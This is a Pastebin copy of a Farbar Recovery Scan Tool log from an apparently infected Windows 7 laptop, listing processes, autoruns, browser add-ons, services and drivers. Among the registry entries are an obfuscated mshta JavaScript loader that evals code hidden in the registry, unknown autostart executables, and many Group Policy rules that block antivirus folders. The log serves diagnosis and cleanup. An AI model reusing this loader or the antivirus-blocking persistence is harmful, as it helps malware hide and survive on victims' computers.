API tools faq
paste
Katabelle

Untitled

Katabelle
Jun 11th, 2015
502
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 61.54 KB | None | 0 0
raw download clone embed print report
  1. Scan result of Farbar Recovery Scan Tool (FRST) (x64) Version:08-06-2015
  2. Ran by KAT (administrator) on KAT-PC on 11-06-2015 09:31:29
  3. Running from C:\Users\KAT\Downloads
  4. Loaded Profiles: KAT (Available Profiles: KAT)
  5. Platform: Windows 7 Ultimate Service Pack 1 (X64) OS Language: English (United States)
  6. Internet Explorer Version 11 (Default browser: Chrome)
  7. Boot Mode: Normal
  8. Tutorial for Farbar Recovery Scan Tool: http://www.geekstogo.com/forum/topic/335081-frst-tutorial-how-to-use-farbar-recovery-scan-tool/
  9.  
  10. ==================== Processes (Whitelisted) =================
  11.  
  12. (If an entry is included in the fixlist, the process will be closed. The file will not be moved.)
  13.  
  14. (NVIDIA Corporation) C:\Windows\System32\nvvsvc.exe
  15. (ASUSTek Computer Inc.) C:\Program Files (x86)\ASUS\ATK Package\ATK Hotkey\AsLdrSrv.exe
  16. (NVIDIA Corporation) C:\Program Files\NVIDIA Corporation\Display\nvxdsync.exe
  17. (NVIDIA Corporation) C:\Windows\System32\nvvsvc.exe
  18. (Avast Software s.r.o.) C:\Program Files\AVAST Software\Avast\AvastSvc.exe
  19. (Apple Inc.) C:\Program Files\Common Files\Apple\Mobile Device Support\AppleMobileDeviceService.exe
  20. (Panda Security, S.L.) C:\Program Files (x86)\Panda Security\Panda Devices Agent\AgentSvc.exe
  21. (Panda Security, S.L.) C:\Program Files (x86)\Panda Security\Panda Security Protection\PSUAService.exe
  22. (ASUSTek Computer Inc.) C:\Program Files (x86)\ASUS\ATK Package\ATK Hotkey\HControl.exe
  23. (ASUSTek Computer Inc.) C:\Program Files (x86)\ASUS\ATK Package\ATKOSD2\ATKOSD2.exe
  24. (AsusTek) C:\Program Files (x86)\ASUS\ASUS Smart Gesture\AsTPCenter\x64\AsusTPLauncher.exe
  25. (Microsoft Corp.) C:\Program Files\Common Files\Microsoft Shared\Windows Live\WLIDSVC.EXE
  26. (Microsoft Corp.) C:\Program Files\Common Files\Microsoft Shared\Windows Live\WLIDSVCM.EXE
  27. (Panda Security, S.L.) C:\Program Files (x86)\Panda Security\Panda Security Protection\PSANHost.exe
  28. (ELAN Microelectronics Corp.) C:\Program Files\Elantech\ETDCtrl.exe
  29. (Apple Inc.) C:\Program Files\iTunes\iTunesHelper.exe
  30. (ASUSTek Computer Inc.) C:\Program Files (x86)\ASUS\ATK Package\ATK Media\DMedia.exe
  31. (ASUS) C:\Program Files (x86)\ASUS\ATK Package\ATK Hotkey\HControlUser.exe
  32. (Panda Security, S.L.) C:\Program Files (x86)\Panda Security\Panda Security Protection\PSUAMain.exe
  33. (ELAN Microelectronics Corp.) C:\Program Files\Elantech\ETDCtrlHelper.exe
  34. (ELAN Microelectronics Corp.) C:\Program Files\Elantech\ETDGesture.exe
  35. (Apple Inc.) C:\Program Files\iPod\bin\iPodService.exe
  36. (Microsoft Corporation) C:\Program Files\Common Files\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPSVC.EXE
  37. (Valve Corporation) C:\Program Files (x86)\Steam\Steam.exe
  38. (Valve Corporation) C:\Program Files (x86)\Steam\bin\steamwebhelper.exe
  39. (Microsoft Corporation) C:\Windows\SysWOW64\dllhost.exe
  40. (Valve Corporation) C:\Program Files (x86)\Common Files\Steam\SteamService.exe
  41. (Valve Corporation) C:\Program Files (x86)\Steam\bin\steamwebhelper.exe
  42. (Valve Corporation) C:\Program Files (x86)\Steam\bin\steamwebhelper.exe
  43. (Microsoft Corporation) C:\Windows\System32\rundll32.exe
  44. (Google Inc.) C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
  45. (Google Inc.) C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
  46. (Google Inc.) C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
  47. (Google Inc.) C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
  48. (Google Inc.) C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
  49. (Google Inc.) C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
  50. (Microsoft Corporation) C:\Windows\System32\dllhost.exe
  51. (Google Inc.) C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
  52. (Google Inc.) C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
  53. (Google Inc.) C:\Program Files (x86)\Google\Chrome\Application\chrome.exe
  54.  
  55.  
  56. ==================== Registry (Whitelisted) ==================
  57.  
  58. (If an entry is included in the fixlist, the registry item will be restored to default or removed. The file will not be moved.)
  59.  
  60. HKLM\...\Run: [ETDCtrl] => C:\Program Files\Elantech\ETDCtrl.exe [2894664 2013-07-15] (ELAN Microelectronics Corp.)
  61. HKLM\...\Run: [iTunesHelper] => C:\Program Files\iTunes\iTunesHelper.exe [169768 2015-02-13] (Apple Inc.)
  62. HKLM-x32\...\Run: [ATKOSD2] => C:\Program Files (x86)\ASUS\ATK Package\ATKOSD2\ATKOSD2.exe [328064 2012-09-14] (ASUSTek Computer Inc.)
  63. HKLM-x32\...\Run: [ATKMEDIA] => C:\Program Files (x86)\ASUS\ATK Package\ATK Media\DMedia.exe [178848 2012-07-17] (ASUSTek Computer Inc.)
  64. HKLM-x32\...\Run: [HControlUser] => C:\Program Files (x86)\ASUS\ATK Package\ATK Hotkey\HControlUser.exe [105016 2009-06-19] (ASUS)
  65. HKLM-x32\...\Run: [BCSSync] => C:\Program Files (x86)\Microsoft Office\Office14\BCSSync.exe [91520 2010-01-21] (Microsoft Corporation)
  66. HKLM-x32\...\Run: [QuickTime Task] => C:\Program Files (x86)\QuickTime\QTTask.exe [421888 2014-01-17] (Apple Inc.)
  67. HKLM-x32\...\Run: [**8c7ad3ee<*>] => mshta javascript:bIs5Hg8O="pSFclXDWpJ";D4N=new%20ActiveXObject("WScript.Shell");kd6gQIy="rt";u4GQi=D4N.RegRead("HKLM\\software\\Wow6432Node\\05296abf\\16adedb0");uymJFElt5="8W";eval(u4GQi);g5u8WhiJ="6 (the data entry has 3 more characters). <===== ATTENTION (Value Name with invalid characters)
  68. HKLM-x32\...\Run: [**69fea1b4<*>] => "c:\users\kat\appdata\local\piqod\piqod.exe" <===== ATTENTION (Value Name with invalid characters)
  69. HKLM-x32\...\Run: [PSUAMain] => C:\Program Files (x86)\Panda Security\Panda Security Protection\PSUAMain.exe [40184 2015-02-26] (Panda Security, S.L.)
  70. HKLM-x32\...\Run: [AvastUI.exe] => C:\Program Files\AVAST Software\Avast\AvastUI.exe [5515496 2015-06-10] (Avast Software s.r.o.)
  71. HKLM Group Policy restriction on software: C:\Program Files\AVAST Software <====== ATTENTION
  72. HKLM Group Policy restriction on software: C:\Program Files\COMODO <====== ATTENTION
  73. HKLM Group Policy restriction on software: C:\Program Files\Avira <====== ATTENTION
  74. HKLM Group Policy restriction on software: C:\Program Files\AVAST Software <====== ATTENTION
  75. HKLM Group Policy restriction on software: C:\Program Files\AVAST Software <====== ATTENTION
  76. HKLM Group Policy restriction on software: C:\Program Files\Avira <====== ATTENTION
  77. HKLM Group Policy restriction on software: C:\Program Files\Microsoft Security Client <====== ATTENTION
  78. HKLM Group Policy restriction on software: C:\Program Files\COMODO <====== ATTENTION
  79. HKLM Group Policy restriction on software: C:\Program Files\AVAST Software <====== ATTENTION
  80. HKLM Group Policy restriction on software: C:\Program Files\Avira <====== ATTENTION
  81. HKLM Group Policy restriction on software: C:\Program Files\Microsoft Security Client <====== ATTENTION
  82. HKLM Group Policy restriction on software: C:\Program Files\COMODO <====== ATTENTION
  83. HKLM Group Policy restriction on software: C:\Program Files\Microsoft Security Client <====== ATTENTION
  84. HKLM Group Policy restriction on software: C:\Program Files\AVAST Software <====== ATTENTION
  85. HKLM Group Policy restriction on software: C:\Program Files\COMODO <====== ATTENTION
  86. HKLM Group Policy restriction on software: C:\Program Files\Microsoft Security Client <====== ATTENTION
  87. HKLM Group Policy restriction on software: C:\Program Files\COMODO <====== ATTENTION
  88. HKLM Group Policy restriction on software: C:\Program Files\Avira <====== ATTENTION
  89. HKLM Group Policy restriction on software: C:\Program Files\COMODO <====== ATTENTION
  90. HKLM Group Policy restriction on software: C:\Program Files\Avira <====== ATTENTION
  91. HKLM Group Policy restriction on software: C:\Program Files\AVAST Software <====== ATTENTION
  92. HKLM Group Policy restriction on software: C:\Program Files\Avira <====== ATTENTION
  93. HKLM Group Policy restriction on software: C:\Program Files\Avira <====== ATTENTION
  94. HKLM Group Policy restriction on software: C:\Program Files\COMODO <====== ATTENTION
  95. HKLM Group Policy restriction on software: C:\Program Files\Microsoft Security Client <====== ATTENTION
  96. HKLM Group Policy restriction on software: C:\Program Files\AVAST Software <====== ATTENTION
  97. HKLM Group Policy restriction on software: C:\Program Files\COMODO <====== ATTENTION
  98. HKLM Group Policy restriction on software: C:\Program Files\AVAST Software <====== ATTENTION
  99. HKLM Group Policy restriction on software: C:\Program Files\Avira <====== ATTENTION
  100. HKLM Group Policy restriction on software: C:\Program Files\AVAST Software <====== ATTENTION
  101. HKLM Group Policy restriction on software: C:\Program Files\COMODO <====== ATTENTION
  102. HKLM Group Policy restriction on software: C:\Program Files\AVAST Software <====== ATTENTION
  103. HKLM Group Policy restriction on software: C:\Program Files\Microsoft Security Client <====== ATTENTION
  104. HKLM Group Policy restriction on software: C:\Program Files\COMODO <====== ATTENTION
  105. HKLM Group Policy restriction on software: C:\Program Files\Microsoft Security Client <====== ATTENTION
  106. HKLM Group Policy restriction on software: C:\Program Files\Avira <====== ATTENTION
  107. HKLM Group Policy restriction on software: C:\Program Files\Avira <====== ATTENTION
  108. HKLM Group Policy restriction on software: C:\Program Files\Microsoft Security Client <====== ATTENTION
  109. HKLM Group Policy restriction on software: C:\Program Files\COMODO <====== ATTENTION
  110. HKLM Group Policy restriction on software: C:\Program Files\Microsoft Security Client <====== ATTENTION
  111. HKLM Group Policy restriction on software: C:\Program Files\Microsoft Security Client <====== ATTENTION
  112. HKLM Group Policy restriction on software: C:\Program Files\AVAST Software <====== ATTENTION
  113. HKLM Group Policy restriction on software: C:\Program Files\Microsoft Security Client <====== ATTENTION
  114. HKLM Group Policy restriction on software: C:\Program Files\Avira <====== ATTENTION
  115. HKLM\...\Policies\Explorer\Run: [] =>
  116. HKLM\...\Policies\Explorer\Run: [958791109] => C:\ProgramData\mssbuqxa.exe
  117. HKLM\...\Policies\Explorer: [TaskbarNoNotification] 1
  118. HKLM\...\Policies\Explorer: [HideSCAHealth] 1
  119. HKU\S-1-5-21-2106257821-329901463-4097938246-1000\...\Policies\Explorer: [NoLowDiskSpaceChecks] 1
  120. HKU\S-1-5-21-2106257821-329901463-4097938246-1000\...\Policies\Explorer: [NoInstrumentation] 1
  121. HKU\S-1-5-21-2106257821-329901463-4097938246-1000\...\Policies\Explorer: [TaskbarNoNotification] 1
  122. HKU\S-1-5-21-2106257821-329901463-4097938246-1000\...\Policies\Explorer: [Run] "C:\Users\KAT\AppData\Roaming\Microsoft\Windows\IEUpdate\whoami.exe"
  123. HKU\S-1-5-21-2106257821-329901463-4097938246-1000\Control Panel\Desktop\\SCRNSAVE.EXE -> C:\Windows\System32\logon.scr
  124. ShellIconOverlayIdentifiers: [00avast] -> {472083B0-C522-11CF-8763-00608CC02F24} => C:\Program Files\AVAST Software\Avast\ashShA64.dll [2015-06-10] (Avast Software s.r.o.)
  125. ShellIconOverlayIdentifiers: [0PerformanceMonitor] -> {3B5B973C-92A4-4855-9D3F-0F3D23332208} => C:\ProgramData\Microsoft\Performance\Monitor\PerformanceMonitor.dll [2015-05-31] (Microsoft)
  126.  
  127. ==================== Internet (Whitelisted) ====================
  128.  
  129. (If an item is included in the fixlist, if it is a registry item it will be removed or restored to default.)
  130.  
  131. HKLM\SOFTWARE\Policies\Microsoft\Internet Explorer: Policy restriction <======= ATTENTION
  132. HKU\S-1-5-21-2106257821-329901463-4097938246-1000\SOFTWARE\Policies\Microsoft\Internet Explorer: Policy restriction <======= ATTENTION
  133. HKLM\SOFTWARE\Policies\Microsoft\Windows\IPSec\Policy\Local: [ActivePolicy] SOFTWARE\Policies\Microsoft\Windows\IPSEC\Policy\Local\ipsecPolicy{407a203c-c634-491c-a6e4-cbfecc9d558a} <======= ATTENTION (Policy restriction on IP)
  134. HKU\.DEFAULT\Software\Microsoft\Internet Explorer\Main,Search Page = http://www.microsoft.com/isapi/redir.dll?prd=ie&ar=iesearch
  135. HKU\.DEFAULT\Software\Microsoft\Internet Explorer\Main,Start Page = http://www.microsoft.com/isapi/redir.dll?prd=ie&ar=msnhome
  136. HKU\S-1-5-21-2106257821-329901463-4097938246-1000\Software\Microsoft\Internet Explorer\Main,Search Page = http://www.microsoft.com/isapi/redir.dll?prd=ie&ar=iesearch
  137. HKU\S-1-5-21-2106257821-329901463-4097938246-1000\Software\Microsoft\Internet Explorer\Main,Start Page = https://prod.uhrs.playmsn.com/Judge/Views/MarketPlace?toolbar=false
  138. BHO: Java(tm) Plug-In SSV Helper -> {761497BB-D6F0-462C-B6EB-D4DAF1D92D43} -> C:\Program Files\Java\jre1.8.0_45\bin\ssv.dll [2015-05-17] (Oracle Corporation)
  139. BHO: Windows Live ID Sign-in Helper -> {9030D464-4C02-4ABF-8ECC-5164760863C6} -> C:\Program Files\Common Files\Microsoft Shared\Windows Live\WindowsLiveLogin.dll [2012-07-17] (Microsoft Corp.)
  140. BHO: Adobe Acrobat Create PDF Helper -> {AE7CD045-E861-484f-8273-0445EE161910} -> C:\Program Files (x86)\Common Files\Adobe\Acrobat\WCIEActiveX\x64\AcroIEFavClient.dll [2014-05-08] (Adobe Systems Incorporated)
  141. BHO: Office Document Cache Handler -> {B4F3A835-0E21-4959-BA22-42B3008E02FF} -> C:\Program Files\Microsoft Office\Office14\URLREDIR.DLL [2010-01-16] (Microsoft Corporation)
  142. BHO: Java(tm) Plug-In 2 SSV Helper -> {DBC80044-A445-435b-BC74-9C25C1C588A9} -> C:\Program Files\Java\jre1.8.0_45\bin\jp2ssv.dll [2015-05-17] (Oracle Corporation)
  143. BHO: Adobe Acrobat Create PDF from Selection -> {F4971EE7-DAA0-4053-9964-665D8EE6A077} -> C:\Program Files (x86)\Common Files\Adobe\Acrobat\WCIEActiveX\x64\AcroIEFavClient.dll [2014-05-08] (Adobe Systems Incorporated)
  144. BHO-x32: Java(tm) Plug-In SSV Helper -> {761497BB-D6F0-462C-B6EB-D4DAF1D92D43} -> C:\Program Files (x86)\Java\jre1.8.0_45\bin\ssv.dll [2015-05-31] (Oracle Corporation)
  145. BHO-x32: Windows Live ID Sign-in Helper -> {9030D464-4C02-4ABF-8ECC-5164760863C6} -> C:\Program Files (x86)\Common Files\Microsoft Shared\Windows Live\WindowsLiveLogin.dll [2012-07-17] (Microsoft Corp.)
  146. BHO-x32: Adobe Acrobat Create PDF Helper -> {AE7CD045-E861-484f-8273-0445EE161910} -> C:\Program Files (x86)\Common Files\Adobe\Acrobat\WCIEActiveX\AcroIEFavClient.dll [2014-05-08] (Adobe Systems Incorporated)
  147. BHO-x32: Office Document Cache Handler -> {B4F3A835-0E21-4959-BA22-42B3008E02FF} -> C:\Program Files (x86)\Microsoft Office\Office14\URLREDIR.DLL [2010-01-16] (Microsoft Corporation)
  148. BHO-x32: Java(tm) Plug-In 2 SSV Helper -> {DBC80044-A445-435b-BC74-9C25C1C588A9} -> C:\Program Files (x86)\Java\jre1.8.0_45\bin\jp2ssv.dll [2015-05-31] (Oracle Corporation)
  149. BHO-x32: Adobe Acrobat Create PDF from Selection -> {F4971EE7-DAA0-4053-9964-665D8EE6A077} -> C:\Program Files (x86)\Common Files\Adobe\Acrobat\WCIEActiveX\AcroIEFavClient.dll [2014-05-08] (Adobe Systems Incorporated)
  150. Toolbar: HKLM - Adobe Acrobat Create PDF Toolbar - {47833539-D0C5-4125-9FA8-0819E2EAAC93} - C:\Program Files (x86)\Common Files\Adobe\Acrobat\WCIEActiveX\x64\AcroIEFavClient.dll [2014-05-08] (Adobe Systems Incorporated)
  151. Toolbar: HKLM-x32 - Adobe Acrobat Create PDF Toolbar - {47833539-D0C5-4125-9FA8-0819E2EAAC93} - C:\Program Files (x86)\Common Files\Adobe\Acrobat\WCIEActiveX\AcroIEFavClient.dll [2014-05-08] (Adobe Systems Incorporated)
  152. Toolbar: HKU\S-1-5-21-2106257821-329901463-4097938246-1000 -> Adobe Acrobat Create PDF Toolbar - {47833539-D0C5-4125-9FA8-0819E2EAAC93} - C:\Program Files (x86)\Common Files\Adobe\Acrobat\WCIEActiveX\x64\AcroIEFavClient.dll [2014-05-08] (Adobe Systems Incorporated)
  153. Toolbar: HKU\S-1-5-21-2106257821-329901463-4097938246-1000 -> No Name - {1DAC0C53-7D23-4AB3-856A-B04D98CD982A} - No File
  154. DPF: HKLM-x32 {74DBCB52-F298-4110-951D-AD2FF67BC8AB} http://www.nvidia.com/content/DriverDownload/nforce/NvidiaSmartScan.cab
  155. Tcpip\Parameters: [DhcpNameServer] 192.168.2.1
  156.  
  157. FireFox:
  158. ========
  159. FF ProfilePath: C:\Users\KAT\AppData\Roaming\Mozilla\Firefox\Profiles\t3ewjs0a.default
  160. FF DefaultSearchEngine: Google
  161. FF DefaultSearchEngine.US: Google
  162. FF Plugin: @adobe.com/FlashPlayer -> C:\Windows\system32\Macromed\Flash\NPSWF64_14_0_0_145.dll [2014-07-16] ()
  163. FF Plugin: @java.com/DTPlugin,version=11.45.2 -> C:\Program Files\Java\jre1.8.0_45\bin\dtplugin\npDeployJava1.dll [2015-05-17] (Oracle Corporation)
  164. FF Plugin: @java.com/JavaPlugin,version=11.45.2 -> C:\Program Files\Java\jre1.8.0_45\bin\plugin2\npjp2.dll [2015-05-17] (Oracle Corporation)
  165. FF Plugin: @Microsoft.com/NpCtrl,version=1.0 -> c:\Program Files\Microsoft Silverlight\5.1.40416.0\npctrl.dll [2015-04-16] ( Microsoft Corporation)
  166. FF Plugin: @microsoft.com/OfficeAuthz,version=14.0 -> C:\PROGRA~1\MICROS~3\Office14\NPAUTHZ.DLL [2010-01-09] (Microsoft Corporation)
  167. FF Plugin: adobe.com/AdobeAAMDetect -> C:\Program Files (x86)\Common Files\Adobe\OOBE\PDApp\CCM\Utilities\npAdobeAAMDetect64.dll [2014-04-28] (Adobe Systems)
  168. FF Plugin-x32: @adobe.com/FlashPlayer -> C:\Windows\SysWOW64\Macromed\Flash\NPSWF32_14_0_0_145.dll [2014-07-16] ()
  169. FF Plugin-x32: @adobe.com/ShockwavePlayer -> C:\Windows\SysWOW64\Adobe\Director\np32dsw_1213153.dll [2014-06-24] (Adobe Systems, Inc.)
  170. FF Plugin-x32: @Apple.com/iTunes,version=1.0 -> C:\Program Files (x86)\iTunes\Mozilla Plugins\npitunes.dll [2014-10-30] ()
  171. FF Plugin-x32: @java.com/DTPlugin,version=11.45.2 -> C:\Program Files (x86)\Java\jre1.8.0_45\bin\dtplugin\npDeployJava1.dll [2015-05-31] (Oracle Corporation)
  172. FF Plugin-x32: @java.com/JavaPlugin,version=11.45.2 -> C:\Program Files (x86)\Java\jre1.8.0_45\bin\plugin2\npjp2.dll [2015-05-31] (Oracle Corporation)
  173. FF Plugin-x32: @Microsoft.com/NpCtrl,version=1.0 -> c:\Program Files (x86)\Microsoft Silverlight\5.1.40416.0\npctrl.dll [2015-04-15] ( Microsoft Corporation)
  174. FF Plugin-x32: @microsoft.com/OfficeAuthz,version=14.0 -> C:\PROGRA~2\MICROS~2\Office14\NPAUTHZ.DLL [2010-01-09] (Microsoft Corporation)
  175. FF Plugin-x32: @microsoft.com/SharePoint,version=14.0 -> C:\PROGRA~2\MICROS~2\Office14\NPSPWRAP.DLL [2010-01-10] (Microsoft Corporation)
  176. FF Plugin-x32: @microsoft.com/WLPG,version=16.4.3528.0331 -> C:\Program Files (x86)\Windows Live\Photo Gallery\NPWLPG.dll [2014-03-31] (Microsoft Corporation)
  177. FF Plugin-x32: @millisecond.com/npInquisit,version=4.0 -> C:\Program Files (x86)\Millisecond Software\Inquisit 4 Web Plugin\npInquisit.dll [2014-06-30] (Millisecond Software)
  178. FF Plugin-x32: @ogplanet.com/npOGPPlugin -> C:\Windows\system32\npOGPPlugin.dll No File
  179. FF Plugin-x32: @pandonetworks.com/PandoWebPlugin -> C:\Program Files (x86)\Pando Networks\Media Booster\npPandoWebPlugin.dll [2013-12-01] (Pando Networks)
  180. FF Plugin-x32: @tools.google.com/Google Update;version=3 -> C:\Program Files (x86)\Google\Update\1.3.26.9\npGoogleUpdate3.dll [2015-02-03] (Google Inc.)
  181. FF Plugin-x32: @tools.google.com/Google Update;version=9 -> C:\Program Files (x86)\Google\Update\1.3.26.9\npGoogleUpdate3.dll [2015-02-03] (Google Inc.)
  182. FF Plugin-x32: Adobe Acrobat -> C:\Program Files (x86)\Adobe\Acrobat 11.0\Acrobat\Air\nppdf32.dll [2014-05-08] (Adobe Systems Inc.)
  183. FF Plugin-x32: adobe.com/AdobeAAMDetect -> C:\Program Files (x86)\Common Files\Adobe\OOBE\PDApp\CCM\Utilities\npAdobeAAMDetect32.dll [2014-04-28] (Adobe Systems)
  184. FF Plugin HKU\S-1-5-21-2106257821-329901463-4097938246-1000: @talk.google.com/GoogleTalkPlugin -> C:\Users\KAT\AppData\Roaming\Mozilla\plugins\npgoogletalk.dll [2015-04-17] (Google)
  185. FF Plugin HKU\S-1-5-21-2106257821-329901463-4097938246-1000: @talk.google.com/O1DPlugin -> C:\Users\KAT\AppData\Roaming\Mozilla\plugins\npo1d.dll [2015-04-17] (Google)
  186. FF Plugin HKU\S-1-5-21-2106257821-329901463-4097938246-1000: @tools.google.com/Google Update;version=3 -> C:\Users\KAT\AppData\Local\Google\Update\1.3.26.9\npGoogleUpdate3.dll [2015-02-23] (Google Inc.)
  187. FF Plugin HKU\S-1-5-21-2106257821-329901463-4097938246-1000: @tools.google.com/Google Update;version=9 -> C:\Users\KAT\AppData\Local\Google\Update\1.3.26.9\npGoogleUpdate3.dll [2015-02-23] (Google Inc.)
  188. FF Plugin HKU\S-1-5-21-2106257821-329901463-4097938246-1000: @unity3d.com/UnityPlayer,version=1.0 -> C:\Users\KAT\AppData\LocalLow\Unity\WebPlayer\loader\npUnity3D32.dll [2015-04-27] (Unity Technologies ApS)
  189. FF Plugin HKU\S-1-5-21-2106257821-329901463-4097938246-1000: pandonetworks.com/PandoWebPlugin -> C:\Program Files (x86)\Pando Networks\Media Booster\npPandoWebPlugin.dll [2013-12-01] (Pando Networks)
  190. FF user.js: detected! => C:\Users\KAT\AppData\Roaming\Mozilla\Firefox\Profiles\t3ewjs0a.default\user.js [2015-06-10]
  191. FF Plugin ProgramFiles/Appdata: C:\Program Files (x86)\mozilla firefox\browser\plugins\npMozCouponPrinter.dll [2014-12-03] (Coupons, Inc.)
  192. FF Plugin ProgramFiles/Appdata: C:\Users\KAT\AppData\Roaming\mozilla\plugins\npgoogletalk.dll [2015-04-17] (Google)
  193. FF Plugin ProgramFiles/Appdata: C:\Users\KAT\AppData\Roaming\mozilla\plugins\npo1d.dll [2015-04-17] (Google)
  194. FF Extension: Avira Browser Safety - C:\Users\KAT\AppData\Roaming\Mozilla\Firefox\Profiles\t3ewjs0a.default\Extensions\[email protected] [2015-06-05]
  195. FF Extension: XWizard Factory Generated Class - C:\Users\KAT\AppData\Roaming\Mozilla\Firefox\Profiles\t3ewjs0a.default\Extensions\{4F908FC0-5D63-3F86-0D40-2A2558AD94C2} [2015-05-31]
  196. FF HKLM-x32\...\Firefox\Extensions: [[email protected]] - C:\Program Files (x86)\Adobe\Acrobat 11.0\Acrobat\Browser\WCFirefoxExtn
  197. FF Extension: Adobe Acrobat - Create PDF - C:\Program Files (x86)\Adobe\Acrobat 11.0\Acrobat\Browser\WCFirefoxExtn [2015-02-27]
  198.  
  199. Chrome:
  200. =======
  201. CHR Profile: C:\Users\KAT\AppData\Local\Google\Chrome\User Data\Default
  202. CHR Extension: (Google Slides) - C:\Users\KAT\AppData\Local\Google\Chrome\User Data\Default\Extensions\aapocclcgogkmnckokdopfmhonfmgoek [2015-04-30]
  203. CHR Extension: (Google Docs) - C:\Users\KAT\AppData\Local\Google\Chrome\User Data\Default\Extensions\aohghmighlieiainnegkcijnfilokake [2015-04-30]
  204. CHR Extension: (Google Drive) - C:\Users\KAT\AppData\Local\Google\Chrome\User Data\Default\Extensions\apdfllckaahabafndbhieahigkjlhalf [2014-06-12]
  205. CHR Extension: (YouTube) - C:\Users\KAT\AppData\Local\Google\Chrome\User Data\Default\Extensions\blpcfgokakmgnkcojhhkbfbldkacnbeo [2015-04-30]
  206. CHR Extension: (CH Block Using HIT Scraper's Blocklist) - C:\Users\KAT\AppData\Local\Google\Chrome\User Data\Default\Extensions\bnkbcohpnkaopjmjobgnaominhhepeje [2015-05-07]
  207. CHR Extension: (uBlock Origin) - C:\Users\KAT\AppData\Local\Google\Chrome\User Data\Default\Extensions\cjpalhdlnbpafiamejdnhcphjbkeiagm [2015-04-30]
  208. CHR Extension: (Google Search) - C:\Users\KAT\AppData\Local\Google\Chrome\User Data\Default\Extensions\coobgpohoikkiipiblmjeljniedjpjpf [2015-04-30]
  209. CHR Extension: (Google Sheets) - C:\Users\KAT\AppData\Local\Google\Chrome\User Data\Default\Extensions\felcaaldnbdncclmgdcncolpebgiejap [2015-04-30]
  210. CHR Extension: (DotVPN — better than VPN.) - C:\Users\KAT\AppData\Local\Google\Chrome\User Data\Default\Extensions\kpiecbcckbofpmkkkdibbllpinceiihk [2015-05-18]
  211. CHR Extension: (Chrome Hotword Shared Module) - C:\Users\KAT\AppData\Local\Google\Chrome\User Data\Default\Extensions\lccekmodgklaepjeofjdjpbminllajkg [2015-03-04]
  212. CHR Extension: (Google Wallet) - C:\Users\KAT\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda [2014-04-12]
  213. CHR Extension: (Gmail) - C:\Users\KAT\AppData\Local\Google\Chrome\User Data\Default\Extensions\pjkljhegncpnkpknbcohdijeoejaedia [2015-04-30]
  214. CHR HKLM\...\Chrome\Extension: [flliilndjeohchalpbbcdekjklbdgfkk] - https://clients2.google.com/service/update2/crx
  215. CHR HKLM-x32\...\Chrome\Extension: [efaidnbmnnnibpcajpcglclefindmkaj] - C:\Program Files (x86)\Adobe\Acrobat 11.0\Acrobat\Browser\WCChromeExtn\WCChromeExtn.crx [2014-05-08]
  216. CHR HKLM-x32\...\Chrome\Extension: [flliilndjeohchalpbbcdekjklbdgfkk] - https://clients2.google.com/service/update2/crx
  217.  
  218. ==================== Services (Whitelisted) =================
  219.  
  220. (If an entry is included in the fixlist, it will be removed from the registry. The file will not be moved unless listed separately.)
  221.  
  222. R2 Apple Mobile Device Service; C:\Program Files\Common Files\Apple\Mobile Device Support\AppleMobileDeviceService.exe [77128 2015-01-20] (Apple Inc.)
  223. R2 avast! Antivirus; C:\Program Files\AVAST Software\Avast\AvastSvc.exe [343336 2015-06-10] (Avast Software s.r.o.)
  224. S2 CGVPNCliService; C:\Program Files\CyberGhost 5\Service.exe [64616 2014-11-03] (CyberGhost S.R.L)
  225. S3 IJPLMSVC; C:\Program Files (x86)\Canon\IJPLM\IJPLMSVC.EXE [84616 2013-06-28] ()
  226. R2 NanoServiceMain; C:\Program Files (x86)\Panda Security\Panda Security Protection\PSANHost.exe [142584 2015-02-26] (Panda Security, S.L.)
  227. S3 npggsvc; C:\Windows\SysWOW64\GameMon.des [5267776 2014-01-22] (INCA Internet Co., Ltd.)
  228. S3 Origin Client Service; C:\Program Files (x86)\Origin\OriginClientService.exe [1931632 2015-05-09] (Electronic Arts)
  229. R2 PandaAgent; C:\Program Files (x86)\Panda Security\Panda Devices Agent\AgentSvc.exe [66808 2014-10-09] (Panda Security, S.L.)
  230. R2 PSUAService; C:\Program Files (x86)\Panda Security\Panda Security Protection\PSUAService.exe [38136 2015-02-26] (Panda Security, S.L.)
  231. S3 SwitchBoard; C:\Program Files (x86)\Common Files\Adobe\SwitchBoard\SwitchBoard.exe [517096 2010-02-19] (Adobe Systems Incorporated) [File not signed]
  232. R2 WinDefend; C:\Program Files\Windows Defender\mpsvc.dll [1011712 2013-05-27] (Microsoft Corporation)
  233. S2 PnkBstrA; No ImagePath
  234.  
  235. ==================== Drivers (Whitelisted) ====================
  236.  
  237. (If an entry is included in the fixlist, it will be removed from the registry. The file will not be moved unless listed separately.)
  238.  
  239. R3 anvsnddrv; C:\Windows\System32\drivers\anvsnddrv.sys [33872 2011-11-28] (AnvSoft Inc.)
  240. R2 aswHwid; C:\Windows\system32\drivers\aswHwid.sys [29168 2015-06-10] ()
  241. R2 aswMonFlt; C:\Windows\system32\drivers\aswMonFlt.sys [89944 2015-06-10] (Avast Software s.r.o.)
  242. R0 aswRvrt; C:\Windows\System32\Drivers\aswRvrt.sys [65736 2015-06-10] ()
  243. R1 aswSnx; C:\Windows\system32\drivers\aswSnx.sys [1047320 2015-06-10] (Avast Software s.r.o.)
  244. R1 aswSP; C:\Windows\system32\drivers\aswSP.sys [442264 2015-06-10] (Avast Software s.r.o.)
  245. R0 aswVmm; C:\Windows\System32\Drivers\aswVmm.sys [272248 2015-06-10] ()
  246. R1 ATKWMIACPIIO_; C:\Program Files (x86)\ASUS\ATK Package\ATK WMIACPI\atkwmiacpi64.sys [17536 2011-09-07] (ASUS)
  247. S3 cleanhlp; No ImagePath
  248. S3 cpudrv64; No ImagePath
  249. S3 DComCtrl2; No ImagePath
  250. S2 DgiVecp; C:\Windows\system32\Drivers\DgiVecp.sys [53816 2009-03-02] (Samsung Electronics Co., Ltd.)
